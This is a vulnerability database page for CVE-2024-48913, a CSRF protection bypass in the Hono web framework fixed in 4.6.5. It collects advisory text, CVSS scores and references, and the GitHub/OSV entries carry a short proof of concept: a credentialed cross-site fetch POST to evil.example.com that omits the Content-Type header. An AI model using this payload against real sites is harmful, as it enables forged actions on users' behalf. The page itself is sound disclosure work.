CVE-2024-48913
Hono vulnerable to bypass of CSRF Middleware by a request without Content-Type header.
Hono, a web framework, prior to version 4.6.5 is vulnerable to bypass of cross-site request forgery (CSRF) middleware by a request without Content-Type header. Although the CSRF middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. This can allow an attacker to bypass CSRF protection implemented with Hono CSRF middleware. Version 4.6.5 fixes this issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.9
Hono vulnerable to bypass of CSRF Middleware by a request without Content-Type header.
Hono, a web framework, prior to version 4.6.5 is vulnerable to bypass of cross-site request forgery (CSRF) middleware by a request without Content-Type header. Although the CSRF middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. This can allow an attacker to bypass CSRF protection implemented with Hono CSRF middleware. Version 4.6.5 fixes this issue.
- Record
CVE-2024-48913- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N - Weakness
- CWE-352
- Updated
- 2026-11-02
EUVDEUVD-2024-2898
5.9
Hono, a web framework, prior to version 4.6.5 is vulnerable to bypass of cross-site request forgery (CSRF) middleware by a request without Content-Type header. Although the CSRF middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. This can allow an attacker to bypass CSRF protection implemented with Hono CSRF middleware. Version 4.6.5 fixes this issue.
- Record
EUVD-2024-2898- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-2234-fmw7-43wr
5.9
Hono allows bypass of CSRF Middleware by a request without Content-Type header.
Summary
Bypass CSRF Middleware by a request without Content-Type herader.
Details
Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.
PoC
// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
return c.html('Hello Hono!')
})
app.post('/', async (c) => {
console.log("executed")
return c.text( await c.req.text())
})
Deno.serve(app.fetch)
<!-- PoC.html -->
<script>
async function myclick() {
await fetch("http://evil.example.com", {
method: "POST",
credentials: "include",
body:new Blob([`test`],{}),
});
}
</script>
<input type="button" onclick="myclick()" value="run" />
Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.
await fetch("http://localhost:8000", { method: "POST", credentials: "include"});
Impact
Bypass csrf protection implemented with hono csrf middleware.
- Record
GHSA-2234-fmw7-43wr- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N - Weakness
- CWE-352
- Updated
- 2026-11-02
NVD
5.9
Hono, a web framework, prior to version 4.6.5 is vulnerable to bypass of cross-site request forgery (CSRF) middleware by a request without Content-Type header. Although the CSRF middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. This can allow an attacker to bypass CSRF protection implemented with Hono CSRF middleware. Version 4.6.5 fixes this issue.
- Record
CVE-2024-48913- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N - Weakness
- CWE-352
- Updated
- 2026-11-02
OSV
5.9
Hono vulnerable to bypass of CSRF Middleware by a request without Content-Type header.
Hono, a web framework, prior to version 4.6.5 is vulnerable to bypass of cross-site request forgery (CSRF) middleware by a request without Content-Type header. Although the CSRF middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. This can allow an attacker to bypass CSRF protection implemented with Hono CSRF middleware. Version 4.6.5 fixes this issue.
- Record
CVE-2024-48913- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N - Weakness
- CWE-352
- Updated
- 2026-11-02
OSVGHSA-2234-fmw7-43wr
5.9
Hono allows bypass of CSRF Middleware by a request without Content-Type header.
Summary
Bypass CSRF Middleware by a request without Content-Type herader.
Details
Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.
PoC
// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
return c.html('Hello Hono!')
})
app.post('/', async (c) => {
console.log("executed")
return c.text( await c.req.text())
})
Deno.serve(app.fetch)
<!-- PoC.html -->
<script>
async function myclick() {
await fetch("http://evil.example.com", {
method: "POST",
credentials: "include",
body:new Blob([`test`],{}),
});
}
</script>
<input type="button" onclick="myclick()" value="run" />
Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.
await fetch("http://localhost:8000", { method: "POST", credentials: "include"});
Impact
Bypass csrf protection implemented with hono csrf middleware.
- Record
GHSA-2234-fmw7-43wr- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N - Weakness
- CWE-352
- Updated
- 2026-11-02
OSVCLSA-2026-1790597695 No score
TuxCare security update for hono (12 CVEs)
TuxCare rebuilt hono to address 12 CVEs. Fixed in 3.12.12-tuxcare.2.
- Record
CLSA-2026-1790597695- Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-48913 is a medium vulnerability (CVSS 5.9) in Hono, published October 15, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.33%, the 25th percentile. Fixed in hono 4.6.5.
References
github.com/honojs/hono/security/advisories/GHSA-2234-fmw7-43wr
github.com/honojs/hono/commit/aa50e0ab77b5af8c53c50fe3b271892f8eeeea82
github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts
nvd.nist.gov/vuln/detail/CVE-2024-48913
github.com/advisories/GHSA-2234-fmw7-43wr
github.com/CVEProject/cvelistV5/tree/main/cves/2024/48xxx/CVE-2024-48913.json
github.com/honojs/hono